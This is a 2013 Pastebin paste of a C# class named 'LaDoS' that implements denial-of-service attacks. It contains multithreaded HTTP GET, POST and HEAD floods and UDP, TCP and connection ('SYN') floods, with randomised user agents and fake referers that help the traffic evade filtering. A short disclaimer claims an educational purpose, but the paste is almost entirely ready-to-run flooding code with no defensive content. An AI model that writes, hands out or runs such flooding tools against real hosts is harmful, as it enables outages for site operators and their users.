LaPanthere

LaDoS Class

Aug 29th, 2013
898
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 16.07 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Net.Sockets;
  6. using System.Threading;
  7. using System.Diagnostics;
  8. using System.Net;
  9. using System.Text.RegularExpressions;
  10. namespace Layer7Class
  11. {
  12.     class LaDoS
  13.     {
  14.  
  15.         /* Author: LaPanthere
  16.          * Purpose of Creation: To explore raw sockets and different methods of denialing a service.
  17.          * Date of Creation: Thursday 29th of August, 2013.
  18.          * Notes: Use at your own risk. I am not liable for your actions. This class was created for educational purposes only.
  19.          *        Do not stress test a server you do not own or do not have authorized permission.
  20.          */
  21.        
  22.         Random Rnd = new Random();
  23.         public int numSent = 0;
  24.  
  25.         public enum MethodType
  26.         {
  27.             GET,
  28.             POST,
  29.             HEAD
  30.         }
  31.        
  32.         #region "Layer 7 Attack Methods"
  33.         /// <summary>
  34.         /// Sends a GET Flood for specified time and creates threads limited to specified thread number.        
  35.         /// </summary>
  36.         /// <param name="host">The hostname without http:// or a trailing slash.</param>
  37.         /// <param name="page">The page to visit on the hostname.</param>
  38.         /// <param name="time">The time to continue the flooding in seconds.</param>
  39.         /// <param name="threads">The amount of threads to create. Standard is 100.</param>
  40.         /// <returns></returns>
  41.         public string GETFlood(string host, string page, int time, int threads)
  42.         {
  43.             numSent = 0;
  44.             int requests = 0;
  45.             Stopwatch st = new Stopwatch();
  46.  
  47.             for (int i = 1; i < threads; i++)
  48.             {
  49.                 new Thread(() =>
  50.                 {
  51.                     st.Start();
  52.                     while (st.Elapsed.Seconds < time)
  53.                     {
  54.                         int additionalNumbers = Rnd.Next(100, 56000);
  55.                         WebSocketRequest(host, page, additionalNumbers.ToString() + ".com", MethodType.GET);
  56.                         requests++;
  57.                     }
  58.                 }).Start();
  59.             }
  60.             while (st.Elapsed.Seconds < time)
  61.             {
  62.                 Thread.Sleep(980);
  63.             }
  64.             numSent = requests;
  65.             return "Completed with " + requests.ToString() + " requests sent!";
  66.         }
  67.  
  68.         /// <summary>
  69.         /// Sends a POST Flood for specified time and creates threads limited to specified thread number.
  70.         /// </summary>
  71.         /// <param name="host">The hostname without http:// or a trailing slash.</param>
  72.         /// <param name="page">The page to visit on the hostname.</param>
  73.         /// <param name="data">The data to send, EG: "abc=def".</param>
  74.         /// <param name="time">The time to continue the flooding in seconds.</param>
  75.         /// <param name="threads">The amount of threads to create. Standard is 100.</param>
  76.         /// <returns></returns>
  77.         public string POSTFlood(string host, string page, string data, int time, int threads)
  78.         {
  79.             numSent = 0;
  80.             int requests = 0;
  81.             Stopwatch st = new Stopwatch();
  82.  
  83.             for (int i = 1; i < threads; i++)
  84.             {
  85.                 new Thread(() =>
  86.                 {
  87.                     st.Start();
  88.                     while (st.Elapsed.Seconds < time)
  89.                     {
  90.                         int additionalNumbers = Rnd.Next(100, 56000);
  91.                         WebSocketRequest(host, page, additionalNumbers.ToString() + ".com", MethodType.POST, data);
  92.                         requests++;
  93.                         }
  94.                 }).Start();
  95.             }
  96.             while (st.Elapsed.Seconds < time)
  97.             {
  98.                 Thread.Sleep(980);
  99.             }
  100.             numSent = requests;
  101.             return "Completed with " + requests.ToString() + " requests sent!";
  102.         }
  103.  
  104.         /// <summary>
  105.         /// Sends a HEAD Flood for specified time and creates threads limited to specified thread number.        
  106.         /// </summary>
  107.         /// <param name="host">The hostname without http:// or a trailing slash.</param>
  108.         /// <param name="page">The page to visit on the hostname.</param>
  109.         /// <param name="time">The time to continue the flooding in seconds.</param>
  110.         /// <param name="threads">The amount of threads to create. Standard is 100.</param>
  111.         /// <returns></returns>
  112.         public string HEADFlood(string host, string page, int time, int threads)
  113.         {
  114.             numSent = 0;
  115.             int requests = 0;
  116.             Stopwatch st = new Stopwatch();
  117.  
  118.             for (int i = 1; i < threads; i++)
  119.             {
  120.                 new Thread(() =>
  121.                 {
  122.                     st.Start();
  123.                     while (st.Elapsed.Seconds < time)
  124.                     {
  125.                         int additionalNumbers = Rnd.Next(100, 56000);
  126.                         WebSocketRequest(host, page, additionalNumbers.ToString() + ".com", MethodType.HEAD);
  127.                         requests++;
  128.                     }
  129.                 }).Start();
  130.             }
  131.             while (st.Elapsed.Seconds < time)
  132.             {
  133.                 Thread.Sleep(980);
  134.             }
  135.             numSent = requests;
  136.             return "Completed with " + requests.ToString() + " requests sent!";
  137.         }
  138.         #endregion
  139.  
  140.         #region "Layer 4 Attack Methods"
  141.         /// <summary>
  142.         /// Sends packets using the UDP protocol without connecting to the socket.
  143.         /// </summary>
  144.         /// <param name="iphost">The hostname or IP of the target.</param>
  145.         /// <param name="port">The port of the target to send packets to.</param>
  146.         /// <param name="time">The amount of time to flood the target in seconds.</param>
  147.         /// <param name="threads">The amount of threads to create.</param>
  148.         /// <returns></returns>
  149.         public string UDPFlood(string iphost, int port, int time, int threads)
  150.         {
  151.             numSent = 0;
  152.             int packetCount = 0;
  153.             byte[] buffer = null;
  154.             Stopwatch st = new Stopwatch();
  155.  
  156.             for (int i = 1; i < threads; i++)
  157.             {
  158.                 new Thread(() =>
  159.                 {
  160.                     Socket udpc = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
  161.                     IPAddress hostip = IPAddress.Parse(Dns.GetHostAddresses(iphost)[0].ToString());
  162.                     IPEndPoint hostep = new IPEndPoint(hostip, port);
  163.  
  164.                     buffer = Encoding.UTF8.GetBytes(GenerateString(50));
  165.  
  166.                     st.Start();
  167.                     while (st.Elapsed.TotalSeconds < time)
  168.                     {
  169.                         udpc.SendTo(buffer, hostep);
  170.                         packetCount++;
  171.                     }
  172.                     udpc.Close();
  173.                 }).Start();
  174.             }
  175.             while (st.Elapsed.TotalSeconds < time)
  176.             {
  177.                 Thread.Sleep(980);
  178.             }
  179.             numSent = packetCount;
  180.             return "Packets Sent: " + packetCount.ToString() + ". Packets Per Second: " + Convert.ToString(packetCount / st.Elapsed.Seconds) + ". Bytes Sent: " + buffer.Length.ToString() + ".";
  181.         }
  182.  
  183.         /// <summary>
  184.         /// Sends packets using the TCP protocol. This connects to the socket.
  185.         /// </summary>
  186.         /// <param name="iphost">The hostname or IP of the target.</param>
  187.         /// <param name="port">The port of the target to send packets to.</param>
  188.         /// <param name="time">The amount of time to flood the target in seconds.</param>
  189.         /// <param name="threads">The amount of threads to create.</param>
  190.         /// <returns></returns>
  191.         public string TCPFlood(string iphost, int port, int time, int threads)
  192.         {
  193.             numSent = 0;
  194.             int packetCount = 0;
  195.             byte[] buffer = null;
  196.             Stopwatch st = new Stopwatch();
  197.  
  198.             for (int i = 1; i < threads; i++)
  199.             {
  200.                 new Thread(() =>
  201.                 {
  202.                     Socket tcpc = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  203.                     IPAddress hostip = IPAddress.Parse(Dns.GetHostAddresses(iphost)[0].ToString());
  204.                     IPEndPoint hostep = new IPEndPoint(hostip, port);
  205.  
  206.                     buffer = Encoding.UTF8.GetBytes(GenerateString(50));
  207.  
  208.                     st.Start();
  209.                     while (st.Elapsed.TotalSeconds < time)
  210.                     {
  211.                         tcpc.Connect(hostep);
  212.                         tcpc.Send(buffer);
  213.                         packetCount++;
  214.                     }
  215.                     tcpc.Close();
  216.                 }).Start();
  217.             }
  218.             while (st.Elapsed.TotalSeconds < time)
  219.             {
  220.                 Thread.Sleep(980);
  221.             }
  222.             numSent = packetCount;
  223.             return "Packets Sent: " + packetCount.ToString() + ". Packets Per Second: " + Convert.ToString(packetCount / st.Elapsed.Seconds) + ". Bytes Sent: " + buffer.Length.ToString() + ".";
  224.         }
  225.  
  226.         /// <summary>
  227.         /// Connects to a socket until the specified time is reached.
  228.         /// </summary>
  229.         /// <param name="iphost">The hostname or IP of the target.</param>
  230.         /// <param name="port">The port of the target to connect to.</param>
  231.         /// <param name="time">The amount of time to flood the target in seconds.</param>
  232.         /// <param name="threads">The amount of threads to create.</param>
  233.         /// <returns></returns>
  234.         public string SYNFlood(string iphost, int port, int time, int threads)
  235.         {
  236.             numSent = 0;
  237.             int connectCount = 0;
  238.             Stopwatch st = new Stopwatch();
  239.  
  240.             for (int i = 1; i < threads; i++)
  241.             {
  242.                 new Thread(() =>
  243.                 {
  244.                     Socket tcpc = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  245.                     IPAddress hostip = IPAddress.Parse(Dns.GetHostAddresses(iphost)[0].ToString());
  246.                     IPEndPoint hostep = new IPEndPoint(hostip, port);
  247.  
  248.                     st.Start();
  249.                     while (st.Elapsed.TotalSeconds < time)
  250.                     {
  251.                         tcpc.Connect(hostep);
  252.                         connectCount++;
  253.                     }
  254.                     tcpc.Close();
  255.                 }).Start();
  256.             }
  257.             while (st.Elapsed.TotalSeconds < time)
  258.             {
  259.                 Thread.Sleep(980);
  260.             }
  261.             numSent = connectCount;
  262.             return "Connections Sent: " + connectCount.ToString() + ". Connections Per Second: " + Convert.ToString(connectCount / st.Elapsed.Seconds) + ".";
  263.         }
  264.         #endregion
  265.  
  266.         #region "Functions"
  267.         /// <summary>
  268.         /// Sends a HTTP/1.1 Request using sockets.
  269.         /// </summary>
  270.         /// <param name="hostname">The hostname without http:// or a trailing slash.</param>
  271.         /// <param name="page">The page to visit on the hostname.</param>
  272.         /// <param name="referer">The referring host without http:// or a trailing slash.</param>
  273.         /// <param name="mt">The MethodType, either GET, HEAD or POST</param>
  274.         /// <param name="data">The data if MethodType is POST</param>
  275.         /// <returns>Returns the page.</returns>
  276.         public string WebSocketRequest(string hostname, string page, string referer, MethodType mt, string data = "myid=myvalue")
  277.         {
  278.             string[] returnPage;
  279.             byte[] bytesRec = new byte[1024];
  280.             int bytesGot = 0;
  281.             string method = "";
  282.             int response = 0;
  283.             StringBuilder request_headers = new StringBuilder();
  284.             IPAddress hostip = IPAddress.Parse(Dns.GetHostAddresses(hostname)[0].ToString());
  285.             IPEndPoint hostep = new IPEndPoint(hostip, 80);
  286.             Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  287.             switch (mt)
  288.             {
  289.                 case MethodType.GET:
  290.                     method = "GET";
  291.                     break;
  292.                 case MethodType.HEAD:
  293.                     method = "HEAD";
  294.                     break;
  295.                 case MethodType.POST:
  296.                     method = "POST";
  297.                     break;
  298.             }
  299.             request_headers.AppendLine(method + " " + page + " HTTP/1.1");
  300.             request_headers.AppendLine("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
  301.             request_headers.AppendLine("Accept-Language: en-us");
  302.             request_headers.AppendLine("Accept-Encoding: gzip, deflate");
  303.             request_headers.AppendLine("User-Agent: " + randUserAgent());
  304.             request_headers.AppendLine("Host: " + hostname);
  305.             request_headers.AppendLine("Referer: "+ referer);
  306.             request_headers.AppendLine("Connection: Keep-Alive");
  307.  
  308.             if (method == "POST")
  309.             {
  310.                 request_headers.AppendLine("Content-Length: " + data.Length);
  311.                 request_headers.AppendLine("Content-Type: application/x-www-form-urlencoded");
  312.                 request_headers.AppendLine(data);
  313.                 request_headers.Append("\r\n");
  314.             }
  315.             else
  316.             {
  317.                 request_headers.Append("\r\n");
  318.             }
  319.  
  320.             sock.Connect(hostep);
  321.             response = sock.Send(Encoding.UTF8.GetBytes(request_headers.ToString()));
  322.             bytesGot = sock.Receive(bytesRec, bytesRec.Length, SocketFlags.None);
  323.  
  324.             returnPage = Regex.Split(Encoding.UTF8.GetString(bytesRec, 0, bytesGot),  "\r\n\r\n");
  325.             try
  326.             {
  327.                 return returnPage[1];
  328.             }
  329.             catch
  330.             {
  331.                 return "NULL";
  332.             }
  333.         }
  334.  
  335.         public string randUserAgent()
  336.         {
  337.             string[] MyStringArr = {
  338.                      "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17",
  339.                      "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15",
  340.                      "Mozilla/5.0 (Windows; U; Windows NT 6.1; x64; fr; rv:1.9.2.13) Gecko/20101203 Firebird/3.6.13",
  341.                      "Mozilla/6.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1",
  342.                      "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1",
  343.                      "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2",
  344.                      "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2",
  345.                      "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120410 Firefox/3.6.28 Lunascape/6.7.1.25446",
  346.                      "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.9) Gecko/20071110 Sylera/3.0.20 SeaMonkey/1.1.6",
  347.                      "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.12 Safari/537.36 OPR/14.0.1116.4",
  348.                      "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19",
  349.                      "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13",
  350.                      "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20",
  351.           };
  352.             return MyStringArr[Rnd.Next(MyStringArr.Length)];
  353.         }
  354.  
  355.         public string GenerateString(int Length)
  356.         {
  357.             char[] letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray();
  358.  
  359.             string randomString = "";
  360.             for (int i = 0; i < Length; i++)
  361.             {
  362.                 randomString += letters[Rnd.Next(0, 52)].ToString();
  363.             }
  364.             return randomString;
  365.         }
  366.         #endregion
  367.     }
  368. }
Advertisement
Add Comment
Please, Sign In to add comment